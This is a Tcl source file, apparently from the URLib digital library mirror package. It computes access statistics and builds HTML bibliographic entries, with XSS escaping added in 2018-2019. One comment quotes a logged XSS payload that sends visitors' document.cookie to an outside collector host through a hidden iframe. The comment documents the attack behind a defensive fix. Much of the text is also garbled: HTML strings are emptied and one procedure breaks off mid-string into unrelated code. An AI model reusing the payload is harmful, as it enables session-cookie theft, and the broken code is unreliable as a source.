# UtilitiesMirror # Copyright for the scripts in this file (c) 1998 - 2019 # by Gerald Banon. All rights reserved. # utilities for mirror package provide dpi.inpe.br/banon/1998/08.02.08.56 2.1 # ---------------------------------------------------------------------- # GetFirstDay # used by Statistics proc GetFirstDay {rep} { # runs with post global serverAddressWithIP # Compute the smallerFirstDay # today # set today [clock format [GetSeconds] -format %Y.%m.%d] set today [clock format [clock seconds] -format %Y.%m.%d] set smallerFirstDay $today LoadDocAccessLogFile $rep fileContent if ![string equal {} $fileContent] { set firstLine [lindex [split $fileContent \n] 0] set firstDay [lindex [split $firstLine -] 0] set smallerFirstDay [StringMin $smallerFirstDay $firstDay] } # Compute the smallerFirstDay - end return [list [list $serverAddressWithIP $smallerFirstDay]] } # GetFirstDay - end # ---------------------------------------------------------------------- # LoadDocAccessLogFile proc LoadDocAccessLogFile {rep varName} { global homePath global loCoInRep upvar $varName fileContent Load $homePath/col/$rep/service/accessLog fileContent return # for testing new storage if [file exists $homePath/col/$rep/service/accessLog] { Load $homePath/col/$rep/service/accessLog fileContent } else { # old storage set path [file split $rep] set year [lindex $path 2] set rest [lreplace $path 2 2] regsub -all { } $rest {=} rest Load $homePath/col/$loCoInRep/doc/access/$year/$rest fileContent } } # LoadDocAccessLogFile - end # ---------------------------------------------------------------------- # GetDocAccessLogFileContent # used in ComputeStatistics proc GetDocAccessLogFileContent {rep} { LoadDocAccessLogFile $rep fileContent return [split $fileContent \n] } # GetDocAccessLogFileContent - end # ---------------------------------------------------------------------- # ConvertFilePath # not used any more - just for migration 15/09/07 proc ConvertFilePath {filePath} { global tcl_platform if [file exists $filePath] { return $filePath } elseif {$tcl_platform(platform) == "unix"} { # for URLibService Version 1.1 compatibility set splitedPath [file split $filePath] set rest [lindex $splitedPath end] regsub -all {=} $rest {:} rest set filePath [eval file join [concat [lreplace $splitedPath end end] $rest]] if [file exists $filePath] { return $filePath } } return {} } # ConvertFilePath - end # ---------------------------------------------------------------------- # GetNumberOfVisits proc GetNumberOfVisits {rep} { # runs with post # Compute the totalNumberOfVisits set totalNumberOfVisits 0 LoadDocAccessLogFile $rep fileContent if ![string equal {} $fileContent] { foreach line [split $fileContent \n] { # set numberOfClicks 1 set numberOfClicks 0 regexp {(.*)-(.*)} $line m day numberOfClicks set totalNumberOfVisits [expr $numberOfClicks + $totalNumberOfVisits] } } # Compute the totalNumberOfVisits - end return $totalNumberOfVisits } # GetNumberOfVisits - end # ---------------------------------------------------------------------- # ExtractHistogram # patternList value examples: # 2008.01 2008.02 2008.03 ... 2008.12 # 2001 2002 2003 ... 2008 # return an occurrence list like: # 22 19 45 ... 65 # example of accessLog file content: # 2010.04.05-1 # 2010.04.14-3 # 2010.04.15-1 proc ExtractHistogram {rep patternList} { LoadDocAccessLogFile $rep fileContent foreach pattern $patternList { set numberOfAccessTable($pattern) 0 } foreach line [split $fileContent \n] { foreach pattern $patternList { if [regexp "^$pattern.+-(.*)" $line m numberOfAccess] { incr numberOfAccessTable($pattern) $numberOfAccess } } } foreach pattern $patternList { lappend histogram $numberOfAccessTable($pattern) } return $histogram } # ExtractHistogram - end # ---------------------------------------------------------------------- # GetHistogram # returns a list like: # 1 22 2 19 3 45 4 34 ... 10 65 proc GetHistogram {rep periodLength todayNOD} { # runs with post # global loCoInRep # Compute histogram foreach i {1 2 3 4 5 6 7 8 9 10} { set histogram($i) 0 } set numberOfDays [expr $periodLength * 10] set startDayNOD [expr $todayNOD - $numberOfDays + 1] LoadDocAccessLogFile $rep fileContent if ![string equal {} $fileContent] { foreach line [split $fileContent \n] { if ![regexp {(.*)-(.*)} $line m day numberOfClicks] { set day $line # set numberOfClicks 1 set numberOfClicks 0 } set NOD [ComputeNOD $day] set i [expr [expr $NOD - $startDayNOD] / $periodLength + 1] if {0 < $i && $i < 11} { incr histogram($i) $numberOfClicks } } } # Compute histogram - end return [array get histogram] } # GetHistogram - end # ---------------------------------------------------------------------- # GetWordOccurrences proc GetWordOccurrences {} { # runs with post global wordOccurrenceArray set list {} set niceIndex 0 foreach {word occurrence} [array get wordOccurrenceArray] { incr niceIndex if {$niceIndex == 1000} { set x 0; after 1 {set x 1}; vwait x ;# nice procedure set niceIndex 0 } lappend list [list $word $occurrence] } return $list } # GetWordOccurrences - end # ---------------------------------------------------------------------- # GetNumberOfItems # returns: # number of (visible) references # number of full texts (of visible references) # becomes obsolete from 2011-01-15 - migration 2011-01-15 # was replaced by GetNumberOfReferences # not used proc GetNumberOfItems2 {} { global metadataArray global repArray if ![info exists repArray(shown,visibility)] { # probably a corrupted .repArray.tcl file or all the repositories are hidden return {0 0} ;# otherwise executing GetNumberOfItems results in an error instead of a pair of integers, that cannot be added in CreateMirror } # return [list [list [llength [array names metadataArray *,referencetype]] [llength [array names metadataArray *-0,size]]]] set fullTextList [array names metadataArray *-0,size] regsub -all {,size} $fullTextList {} fullTextList set i 0 foreach rep-i $fullTextList { if {[lsearch $repArray(shown,visibility) ${rep-i}] != -1} {incr i} } return [list [list [llength $repArray(shown,visibility)] $i]] } # GetNumberOfItems - end # ---------------------------------------------------------------------- # GetNumberOfReferences # returns: # server address # number of references # number of (visible) references # number of full texts (of visible references) # example: # GetNumberOfReferences # => {{banon-pc2.dpi.inpe.br 800} {numberofreferences 300 numberofvisiblereferences 270 numberofvisiblereferenceswithfulltext 150}} proc GetNumberOfReferences {} { global metadataArray global repArray global serverAddress if ![info exists repArray(shown,visibility)] { # probably a corrupted .repArray.tcl file or all the repositories are hidden # return {0 0} ;# otherwise executing GetNumberOfReferences results in an error instead of a pair of integers, that cannot be added in CreateMirror return {{0 0}} ;# otherwise executing GetNumberOfReferences results in an error instead of a pair of integers, that cannot be added in CreateMirror - added by GJFB in 2011-03-20 - should return a pair } set fullTextList [array names metadataArray *-0,size] regsub -all {,size} $fullTextList {} fullTextList set numberOfVisibleReferencesWithFullText 0 foreach rep-i $fullTextList { if {[lsearch $repArray(shown,visibility) ${rep-i}] != -1} {incr numberOfVisibleReferencesWithFullText} } set numberOfVisibleReferences [llength $repArray(shown,visibility)] set numberOfInvisibleReferences [llength $repArray(hidden,visibility)] set numberOfReferences [expr $numberOfVisibleReferences + $numberOfInvisibleReferences] return [list [list $serverAddress [list numberofreferences $numberOfReferences numberofvisiblereferences $numberOfVisibleReferences numberofvisiblereferenceswithfulltext $numberOfVisibleReferencesWithFullText]]] } # GetNumberOfReferences - end # ---------------------------------------------------------------------- # GetSiteInformation proc GetSiteInformation {} { global homePath global URLibServiceRepository global serverAddress global serverAddressWithIP global tcl_platform global diskSpeed ;# set and use only in this procedure - used to speed up procedure execution # serviceVersion set serviceVersion [GetURLibServiceLastVersion] # => 2013:04.20.02.17.36 dpi.inpe.br/banon/1999/01.09.22.14 banon regexp {..:..\...\...\...} $serviceVersion serviceVersion ;# 13:04.20.02.17 # ipPort foreach {ip urlibPort} $serverAddressWithIP {break} regsub {.$} $urlibPort {} httpdPort ;# 802 -> 80 set ipPort [list $ip $httpdPort] # integrityAlert if [file exists $homePath/@missingDirectoryList] { Load $homePath/@missingDirectoryList missingDirectoryList set integrityAlert "
"
if 1 {
lappend output "" ;# this html comment is used in DisplayDuplicates
# set citationKey $metadataArray(${rep-i},citationkey) ;# commented by GJFB in 2018-06-14
set citationKey [EscapeUntrustedData $metadataArray(${rep-i},citationkey)] ;# added by GJFB in 2018-06-14
# lappend output "$citationKey \; \; \;"
# lappend output "$citationKey \; \; \;" ;# commented by GJFB in 2018-02-08
lappend output "$citationKey " ;# added by GJFB in 2018-02-08 because the citation key may be very long # lappend output " $citationKey  \; \; \;" ;# div forces a new line
}
# identifier
lappend output ""
# ConditionalSet identifier metadataArray(${rep-i},identifier) [ConvertFromRepository $rep 1] ;# identifier is too long
ConditionalSet identifier metadataArray(${rep-i},identifier) {}
if ![string equal {} $identifier] {
# lappend output "id $identifier  \; \; \;"
lappend output "$author :$year:" # serverAddress2 regsub { +} $serverAddress {+} serverAddress2 # metadataLastUpdate set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) regsub -all { } $metadataLastUpdate {+} metadataLastUpdate2 regsub -all {=} $metadataLastUpdate2 {%3d} metadataLastUpdate2 ;# added by GJFB in 2019-04-30 - the symbol equal (=) must be converted to (%3d) otherwise the value of lastupdate attribute in query string is truncated - Example (case of a XSS attack in the year field): # 2019:05.01.02.32.27 dpi.inpe.br/banon/1999/01.09.22.14 banon {D {}} # -> 2019:05.01.02.32.27+dpi.inpe.br/banon/1999/01.09.22.14+banon+{D+{%3Cscript%3E+++document.write(%27%3Ciframe+width%3d1+height%3d1++src%3dhttp://www.coletor.com/rc.php?xss%3d%27+document.cookie.replace(/+/g,%27%27)+%27%3E%3C/iframe%3E%27)+%3C/script%3E}} set metadataLastUpdate2 [EscapeUntrustedData $metadataLastUpdate2] ;# added by GJFB in 2019-04-30 - the date may contain untrusted data ## requiredMetadataTimeStamp # set requiredMetadataTimeStamp [lindex $metadataLastUpdate 0] # requiredSite # set requiredSite $localSite ;# commented by GJFB in 2014-08-25 set requiredSite $serverAddress2 ;# added by GJFB in 2014-08-25 - sloves the virtual host case # title lappend output "" ConditionalSet title metadataArray(${rep-i},title) {} set title [EscapeUntrustedData $title] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention # regsub -all {\$} $title {\$} title ;# cr$30 -> cr\$30 regsub -all {""} $title {"} title ;# " # the two lines below are now in LoopOverEntries # regsub -all {\[} $title {\[} title # regsub -all {\]} $title {\]} title ;# [Cygine] -> \[Cygine\] - [Glycine max (L.) Merril] -> \[Glycine max (L.) Merril\] if [string equal {Newspaper} $referenceType] { ConditionalSet volume metadataArray(${rep-i},volume) {} set volume [EscapeUntrustedData $volume] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention ConditionalSet number metadataArray(${rep-i},number) {} set number [EscapeUntrustedData $number] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention if ![string equal {} $volume] { set volume [list "v° $volume"] } if ![string equal {} $number] { set number [list "n° $number"] } set vn [concat $volume $number] if ![string equal {} $vn] { set title "$title: [join $vn { - }]" } } if !$i { # i == 0 # size if [info exists metadataArray(${rep-i},size)] { set size [lindex $metadataArray(${rep-i},size) 0] if {$size <= 1} { set numberOfKbytes "$size \$Kbyte" } else { set numberOfKbytes "$size \$Kbytes" } # set numberOfKbytes " ($numberOfKbytes) " set numberOfKbytes "($numberOfKbytes)" } else { set size {} set numberOfKbytes " " } # start -- -r puts 0 in size ... set flag 1 if [info exists metadataArray(${rep-i},targetfile)] { # targetFile set targetFile $metadataArray(${rep-i},targetfile) set targetFile [EscapeUntrustedData $targetFile] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention if [regexp "^$col" $targetFile] { # link to another repository set flag 0 } } else { set targetFile {} } # set targetFileExtension [file extension $targetFile] # numberOfFiles ConditionalSet numberOfFiles metadataArray(${rep-i},numberoffiles) {} ## textLanguage ## ConditionalSet textLanguage repositoryProperties($metadataRep,language) {} ;# metadata language ## regexp {\[(.*)\]} $textLanguage m textLanguage ;# English {[en]} -> en # ConditionalSet textLanguage metadataArray(${rep-i},textlanguage) {} ;# metadata language foreach {state} [ComputeVersionState $rep] {break} array set stateTable { {Registered Original} {Official} {Modified Original} {Modified} {Copy of an Original} {Copied} {Modified Copy of an Original} {Modified} {Unchecked} {Unchecked} } set state $stateTable($state) # set oldCode 1 ;# same as in GET # set oldCode 0 ;# same as in GET - added by GJFB in 2017-03-19 - commented by GJFB in 2017-11-25 set oldCode 1 ;# not the same as in GET - added by GJFB in 2017-11-25 in order to get the resume of id J8LNKB5R7W/3C8MGFP in both language # isJustReference set isJustReference [expr $flag && ([string equal {} $size] || [string equal {0} $size])] # puts $isJustReference if !$isJustReference { # not just a reference # set attachment yes # Compute color foreach {state} [ComputeVersionState $rep] {break} array set stateTable { {Registered Original} {Official} {Modified Original} {Modified} {Copy of an Original} {Copied} {Modified Copy of an Original} {Modified} {Unchecked} {Unchecked} } set state $stateTable($state) switch -exact -- $state { Modified { set color BROWN } Copied { set color BLUE } Official { set color BLUE } Unchecked { set color BLUE } } # Compute color - end # title if 0 { # display copyright if {[info exists repositoryProperties($rep,copyright)] && \ [TestContentType $rep {External Contribution}]} { set queryString {?displaycopyright=yes} } else { set queryString {} } lappend output " \ $title" } else { # lappend output " $title" ## lappend output " $title" # localSite and mirror are used by Get for searching the same virtual collection and using the same css # lappend output " $title" # lappend output " $title" ;# added by GJFB in 2011-02-24 - now may open in a new tab # if {[regexp -nocase {^\.(jpg|bmp)$} $targetFileExtension] && $numberOfFiles > 2 && [string equal {Image} $referenceType]} # ## display gallery ## lappend output " $title" ;# added by GJFB in 2012-06-24 ## lappend output " $title" # lappend output " $title" ;# ibiurl.language is alias for languagebutton # # else # ## lappend output " $title" ;# added by GJFB in 2011-02-24 - now may open in a new tab ## lappend output " $title" # lappend output " $title" ;# ibiurl.language is alias for languagebutton - the string choice=brief has been introduced to avoid adding the search site in the menu bar of GET when choice is not brief # http://gjfb/rep/dpi.inpe.br/lise/2008/05.08.14.01?metadatarepository=dpi.inpe.br/lise/2008/05.08.14.01.21&ibiurl.language=pt-BR&ibiurl.requiredsite=gjfb&ibiurl.requiredtimestamp=2014:06.04.01.08.21&requiredmirror=dpi.inpe.br/banon/1999/06.19.17.00&searchsite=gjfb:80&searchmirror=dpi.inpe.br/banon/1999/06.19.17.00 # lappend output " $title" ;# ibiurl.language is alias for languagebutton - added by GJFB in 2014-04-23, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata # lappend output " $title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata if $oldCode { # commented by GJFB in 2017-03-19 - uncommented by GJFB in 2017-11-25 lappend output " $title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata } else { # added by GJFB in 2017-03-19 - commented by GJFB in 2017-11-25 # new code lappend output " $title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata } # # } } elseif {[regexp {^(Resume|Archival Unit)$} $referenceType]} { # Resume or Archival Unit set color BLUE # lappend output " $title" # lappend output " $title" # lappend output " $title" ;# ibiurl.language is alias for languagebutton - the string choice=brief has been introduced to avoid adding the search site in the menu bar of GET when choice is not brief # lappend output " $title" ;# ibiurl.language is alias for languagebutton - added by GJFB in 2014-04-23, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata # lappend output " $title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata if $oldCode { # commented by GJFB in 2017-03-19 - uncommented by GJFB in 2017-11-25 lappend output " $title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata } else { # added by GJFB in 2017-03-19 - commented by GJFB in 2017-11-25 # new code lappend output " $title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata } } else { lappend output " $title" } } else { lappend output " $title" } set type full regsub -all { } $keywords {+} keywords2 # metadata lappend output "" # full reference # append output2 " \${full reference}" # append output2 " \${full reference}" # append output2 " \${full reference}" append output2 " $translationTable(full reference)" # append output2 " \${full reference}" # BibTeX # append output2 " (BibTeX" # append output2 " (BibTeX" # append output2 " (BibTeX" append output2 " (BibTeX" # domainName if 0 { # commented by GJFB in 2010-11-13 if [string equal {} $environmentArray(domainName)] { ## use mail (as in MakeRepository and StartApacheServer) # regexp {([^@]+)@(.+)} $environmentArray(spMailEntry) m user domainName # set domainName $domainName set domainName urlib.net ;# used by oai.tcl - changed by GJFB in 2010-08-18 } else { set domainName $environmentArray(domainName) ;# used by oai.tcl } } set domainName urlib.net ;# used by oai.tcl - added by GJFB in 2010-11-13 if {$i || ($isJustReference && \ ![regexp {^(Resume|Archival Unit)$} $referenceType])} { # Refer # append output2 " | Refer" # append output2 " | Refer" append output2 " | Refer" # append output2 " | Refer" if {[info exists BibINPERepository] && [regexp {^(Journal Article|Book|Book Section|Edited Book|Newspaper|Newspaper Article|Conference Proceedings|Thesis|Report|Electronic Source|Audiovisual Material|Misc)$} $referenceType]} { # BibINPE # append output2 " | BibINPE" # append output2 " | BibINPE" append output2 " | BibINPE" # append output2 " | BibINPE" } # XML # append output2 " | XML" # append output2 " | XML" append output2 " | XML" # append output2 " | XML" if 0 { # time consuming in oai # xrefer append output2 " | xrefer" # oai_dc append output2 " | oai_dc)" } else { append output2 ")" } } else { # not just a reference # noAccessRestrictionFlag ConditionalSet readPermission metadataArray(${rep-i},readpermission) {} set noAccessRestrictionFlag [ComputeAccessRestrictionFlag $readPermission $remoteIp] # Refer # append output2 " | Refer" # append output2 " | Refer" append output2 " | Refer" # append output2 " | Refer" if {[info exists BibINPERepository] && [regexp {^(Journal Article|Book|Book Section|Edited Book|Newspaper|Newspaper Article|Conference Proceedings|Thesis|Report|Electronic Source|Audiovisual Material|Misc)$} $referenceType]} { # BibINPE # append output2 " | BibINPE" # append output2 " | BibINPE" append output2 " | BibINPE" # append output2 " | BibINPE" } # XML # append output2 " | XML" # append output2 " | XML" append output2 " | XML" # append output2 " | XML" # if [info exists metadataArray(${rep-i},hostcollection)] # if [ReturnState ${rep-i}] { # the document is an original # xrefer append output2 " | xrefer" # append output2 " | xrefer" # oai_dc append output2 " | oai_dc" # append output2 " | oai_dc" # mtd2-br requirements if {[info exists repositoryProperties(${MTD2-BRRepository},history)] && \ [string equal {Thesis} $referenceType] && \ [info exists metadataArray(${rep-i},abstract)] && \ ([regexp -nocase { abstract: } $metadataArray(${rep-i},abstract)] || [regexp -nocase { resumo: } $metadataArray(${rep-i},abstract)]) && \ $noAccessRestrictionFlag && \ [info exists metadataArray(${rep-i},committee)] && \ [info exists metadataArray(${rep-i},supervisor)] && \ [info exists metadataArray(${rep-i},year)] && \ [info exists metadataArray(${rep-i},secondarytype)] && \ [string equal {TDI} $metadataArray(${rep-i},secondarytype)] && \ [info exists metadataArray(${rep-i},thesistype)] && \ [regexp {Mestrado|Doutorado} $metadataArray(${rep-i},thesistype)] && \ [info exists metadataArray(${rep-i},size)] && \ ![string equal {0} $metadataArray(${rep-i},size)] && \ [info exists metadataArray(${rep-i},language)] && \ [regexp {^...?$} $metadataArray(${rep-i},language)] && \ [info exists metadataArray(${rep-i},date)] && \ [regexp {^\d{4,}-\d{2}-\d{2}$|^\d{4,}-\d{2}$} $metadataArray(${rep-i},date)]} { # mtd2-br append output2 " | mtd2-br" # append output2 " | mtd2-br" } } # Cover # append output2 " | \${cover})" ## append output2 " | \${cover})" # append output2 " | $translationTable(cover))" append output2 " | $translationTable(cover))" # mirrorRepository if [info exists metadataArray(${rep-i},mirrorrepository)] { set mirrorRepository $metadataArray(${rep-i},mirrorrepository) } # review if {[info exists mirrorRepository] && \ [string equal $mirrorRepository $mirrorRep] && \ [info exists metadataArray(${rep-i},childrepositories)] && \ [info exists environmentArray($mirrorRep,displayReviewButton)] && \ $environmentArray($mirrorRep,displayReviewButton)} { set mirrorRepository $metadataArray(${rep-i},mirrorrepository) set childRepositories $metadataArray(${rep-i},childrepositories) set reviewButton [CreateReviewButton ${rep-i} $rep $mirrorRepository $childRepositories $window] if ![string equal {} $reviewButton] { append output2 " | $reviewButton" } } } # repositoryLanguage if [info exists repositoryProperties($metadataRep,language)] { set repositoryLanguage " - $repositoryProperties($metadataRep,language)" regsub -all {[;.]} $repositoryLanguage {} repositoryLanguage ;# English pt; fr; en. -> pt fr en - added by GJFB in 2015-02-06 regexp {\[(.*)\]} $repositoryLanguage m repositoryLanguage ;# English {[en]} -> en set repositoryLanguage " ($repositoryLanguage)" } else { set repositoryLanguage {} } append output2 $repositoryLanguage lappend output $output2 if !$i { # repository, size and statistics set output2 {} if !$isJustReference { # not just a reference lappend output "" # repository, size and statistics # append output2 " <\; $rep >\; ${numberOfKbytes} $translationTable(statistics)"
append output2 "<\; <\; $rep >\; $translationTable(statistics)"
append output2 "<\; <\; $rep >\;"
append output2 "<\; $translationTable(Your work has been published? Select the vehicle type) >" if [string equal {yes} $includeReturnAddress] { # include return address # updateoption=add append output2 " $translationTable(Book Section)" append output2 " | $translationTable(Journal Article)" append output2 " | $translationTable(Conference Proceedings)" # set author [join $metadataArray(${rep-i},author) {%0D%0A}] # regsub -all { } $author {+} author # regsub -all {,} $author {%2C} author ## example: author => &_A_author=Banon%2C+Lise+Christine%0D%0ABanon%2C+Gabriela+Paola+Ribeiro # append output2 " | Conference Proceedings)" } else { # don't include return address # used with the copy button # used by GetSearchResult # updateoption=add append output2 " ($translationTable(Book Section)" append output2 " | $translationTable(Journal Article)" append output2 " | $translationTable(Conference Proceedings))" } lappend output $output2 } } if {[string equal {Conference Proceedings} $referenceType] && \ ![info exists metadataArray(${rep-i},nextedition)]} { # Conference Proceedings set output2 {} # Do you have an audiovisual material? append output2 " $translationTable(Do you have an audiovisual material? Submit it) >" if [string equal {yes} $includeReturnAddress] { # include return address # updateoption=add append output2 " $translationTable(Audiovisual Material)" } else { # don't include return address # used with the copy button # used by GetSearchResult # updateoption=add # append output2 " (Audiovisual Material" append output2 " $translationTable(Audiovisual Material)" } lappend output $output2 } # } } # return "[join $output] " lappend output {$siteList2} # lappend output if 1 { # if {[string equal {Image} $referenceType] && \ ![string equal {} $targetFile] && \ [Eval file isdirectory $homePath/col/$rep/images]} # ;# commented by GJFB in 2012-09-22 if {[string equal {Image} $referenceType] && \ ![string equal {} $targetFile] && \ [file isdirectory $homePath/col/$rep/images]} { set targetFileExtension [file extension $targetFile] lappend output "\ | \
\ \ \ \ " } } lappend output |
\
$titleAuthor\
$reference\
${ref-year-cite}\
${year-cite}\
$update\
$rankingmenu\
$checkbox \
| \
\ $titleAuthor\ $reference\ ${ref-year-cite}\ ${year-cite}\ ${metadata-id}\ $update\ $rankingmenu\ | \\
\ | \
$numbering
# if ![string equal {} $numbering] {set output [list ""]} if ![string equal {} $numbering] {set output [list ""]} ;# added by GJFB in 2015-12-02 # currentRepositoryMetadataArray array set currentRepositoryMetadataArray [array get metadataArray ${rep-i},*] # referenceType set referenceType $currentRepositoryMetadataArray(${rep-i},referencetype) # metadataRep and i regexp {(.*)-([^-]*)$} ${rep-i} m metadataRep i # identifier ConditionalSet identifier currentRepositoryMetadataArray(${rep-i},identifier) {} if ![TestContentType $mirrorRep Mirror] { # mirrorRep may be relative to another site and therefore it doesn't exist set mirrorRep $loBiMiRep } # window regsub -all {/} ${mirrorRep}___$metadataRep {__} window regsub -all {\.|@|-} $window {_} window set window ${window}___$i # rep set rep [ReturnRepositoryName $metadataRep] # targetFile ConditionalSet targetFile metadataArray(${rep-i},targetfile) {} if 1 { # if {$imageFlag && [string equal {Image} $referenceType] && [Eval file isdirectory $homePath/col/$rep/images]} # ;# commented by GJFB in 2012-09-22 if {$imageFlag && [string equal {Image} $referenceType] && [file isdirectory $homePath/col/$rep/images]} { set targetFileExtension [file extension $targetFile] if [info exists metadataArray(${rep-i},imagesize)] { set imageSize " ($currentRepositoryMetadataArray(${rep-i},imagesize))" } else { set imageSize {} } ConditionalSet numberOfFiles currentRepositoryMetadataArray(${rep-i},numberoffiles) 0 if {[regexp -nocase {^\.(jpg|bmp)$} $targetFileExtension] && $numberOfFiles > 2} { # display gallery # set tooltipText $translationTable(open the gallery) set tooltipText $translationTable(open the gallery) # set documentURL http://$localSite/rep-/$rep?ibiurl.language=\$language&displaytype=Gallery ;# # commented by GJFB in 2014-04-04 - see new code in CreateAbsolutePath set documentURL http://$localSite/rep-/$rep?ibiurl.language=\$language } else { set tooltipText $translationTable(zoom in)$imageSize set documentURL http://$localSite/rep/$rep?ibiurl.language=\$language } lappend output "\\
\
\
\
\
\
| \
\
"
} else {
lappend output "
" } } set output [lsort -command ReferFieldCompare $output] lappend output " " # lappend output $xxx ;# == puts $xxx # lappend output $multipleLineFieldNameList ;# == puts $multipleLineFieldNameList return [list $metadataLastUpdate $output] } # CreateFullReferEntry - end # ---------------------------------------------------------------------- # CreateDateTitleSite # used in enAbout.html ... # path example: ../ # dateFieldName value is lastupdate, metadatalastupdate or issuedate # siteFieldName value is site or newspaper proc CreateDateTitleSite { rep-i path mirrorRep outputFormat cellBackgroundColor dateFieldName siteFieldName } { global localSite set metadataLastUpdate [GetMetadataLastUpdate ${rep-i}] # date if [string equal {lastupdate} $dateFieldName] { set lastUpdate [GetLastUpdate ${rep-i}] regexp {(..):(..)\.(..)} $lastUpdate m year month day } elseif {[string equal {metadatalastupdate} $dateFieldName]} { regexp {(..):(..)\.(..)} $metadataLastUpdate m year month day } elseif {[string equal {issuedate} $dateFieldName]} { set issueDate [GetFieldValue ${rep-i} issuedate] if ![regexp {(....)-(..)-(..)} $issueDate m year month day] { foreach {year month day} {- - -} {break} } } else { foreach {year month day} {- - -} {break} } # title set title [GetFieldValue ${rep-i} title] ;# commented by GJFB in 2018-06-14 set title [EscapeUntrustedData [GetFieldValue ${rep-i} title]] ;# added by GJFB in 2018-06-14 # siteAddress # set siteAddress [GetServerAddress] set siteAddress $localSite ;# not used with default mirror if 0 { if {[string compare {newspaper} $siteFieldName] == 0} { set newspaper [GetFieldValue ${rep-i} newspaper] } if {[string compare {referencetype} $siteFieldName] == 0} { # used with default mirror set referenceType [GetFieldValue ${rep-i} referencetype] } } set $siteFieldName [GetFieldValue ${rep-i} $siteFieldName] # repName regsub -- {-0$} ${rep-i} {} metadataRep set repName [ReturnRepositoryName $metadataRep] # SUBST set output [list [subst $outputFormat]] ;# uses cellBackgroundColor # set output [list $outputFormat] return [list $metadataLastUpdate $output] } # CreateDateTitleSite - end # ---------------------------------------------------------------------- # CreateFullXMLEntry # path example: ../ proc CreateFullXMLEntry {rep-i} { global localSite set metadataLastUpdate [GetMetadataLastUpdate ${rep-i}] set output [ConvertMetadata2XML ${rep-i} 1 $localSite] return [list $metadataLastUpdate $output] } # CreateFullXMLEntry - end # ---------------------------------------------------------------------- # ProvideRepository # returns a repository name which metadata contains the specified # metadata. If the repository doesn't exist, then it is # created together with its metadata. The default metadata are # used and uptaded based on the specified metadata # metadataEntryList is a list of fields and values # example of metadataEntryList: {{area SO150000} {date 1997} {base Landsat-TM}} proc ProvideRepository {metadataEntryList} { # runs with post # global metadataArray global searchRepository set entrySearch [join $metadataEntryList { and }] set searchResult [${searchRepository}::MountSearch $entrySearch] # puts ---$searchResult--- # puts >>>[llength $searchResult] foreach index $searchResult { regexp {(.*)-([^-]*)$} $index m metadataRep i if {$i == 0} { # return the first encountered return [ReturnRepositoryName $metadataRep] } } # no repository found, create a new one return [CreateRepMetadataRep empty {} $metadataEntryList] } # ProvideRepository - end # ---------------------------------------------------------------------- # ReferFieldCompare proc ReferFieldCompare {a b} { global referRepository global ${referRepository}::orderingTable # regsub {.*%} [lindex $a 0] {%} aa ;# ex: aa == %A, doesn't work because of . in: "... Library". # regsub {.*%} [lindex $b 0] {%} bb regexp {(%[^ ]+)} $a m aa ;# ex: aa == %A regexp {(%[^ ]+)} $b m bb return [expr $orderingTable($aa)<=$orderingTable($bb)?-1:1] } # ReferFieldCompare - end # ---------------------------------------------------------------------- # BibFieldCompare proc BibFieldCompare {a b} { global inverseTable global bib2referRepository global ${bib2referRepository}::bibOrderingTable global ${bib2referRepository}::r2bTable global fieldAttributeTable upvar referenceType referenceType upvar referenceType2 referenceType2 upvar entryType entryType regexp {,(.*)} $a m aField :# ex. of aField: referencetype regexp {,(.*)} $b m bField # drop some fields # set xxx $aField # Store xxx C:/tmp/bbb auto 0 a # if [regexp {^visibility$|^mark$|^readergroup$|^electronicmailaddress$|^firstelectronicmailaddress$} $aField] {return -1} # if [regexp {^visibility$|^mark$|^readergroup$|^electronicmailaddress$|^firstelectronicmailaddress$} $bField] {return 1} if {[info exists fieldAttributeTable($aField,2)] && !$fieldAttributeTable($aField,2)} {return -1} if {[info exists fieldAttributeTable($bField,2)] && !$fieldAttributeTable($bField,2)} {return 1} if ![info exists r2bTable($referenceType2,$inverseTable($referenceType,$aField))] {return -1} if ![info exists r2bTable($referenceType2,$inverseTable($referenceType,$bField))] {return 1} set aa $entryType,$r2bTable($referenceType2,$inverseTable($referenceType,$aField)) set bb $entryType,$r2bTable($referenceType2,$inverseTable($referenceType,$bField)) if {! [info exists bibOrderingTable($aa)] && \ ! [info exists bibOrderingTable($bb)]} { return [string compare $aa $bb] } elseif {[info exists bibOrderingTable($aa)] && \ ! [info exists bibOrderingTable($bb)]} { return -1 } elseif {! [info exists bibOrderingTable($aa)] && \ [info exists bibOrderingTable($bb)]} { return 1 } else { # return [expr $bibOrderingTable($aa)<=$bibOrderingTable($bb)?-1:1] ;# doesn't work with tcl 8.3.1 return [string compare $bibOrderingTable($aa) $bibOrderingTable($bb)] } } # BibFieldCompare - end # ---------------------------------------------------------------------- # FindBannerPath # size values are Big, Small or {}; but Big is not used proc FindBannerPath {language size} { global col # global URLibServiceRepository global serverAddress global urlibServerAddress ;# urlib.net and port # global urlibServerAddressWithIP ;# ip and port of urlib.net global bannerPathArray ;# load form a @bannerSequence.tcl file - see LoadBannerPathArray global bannerRoot ;# path of the directory containing files like nextSite, used in CreateBannerSpace and FindBannerPath - set in post file upvar addr addr ;# set in ServeLocalCollection # set serverAddressWithIP [GetServerAddress 1] ;# 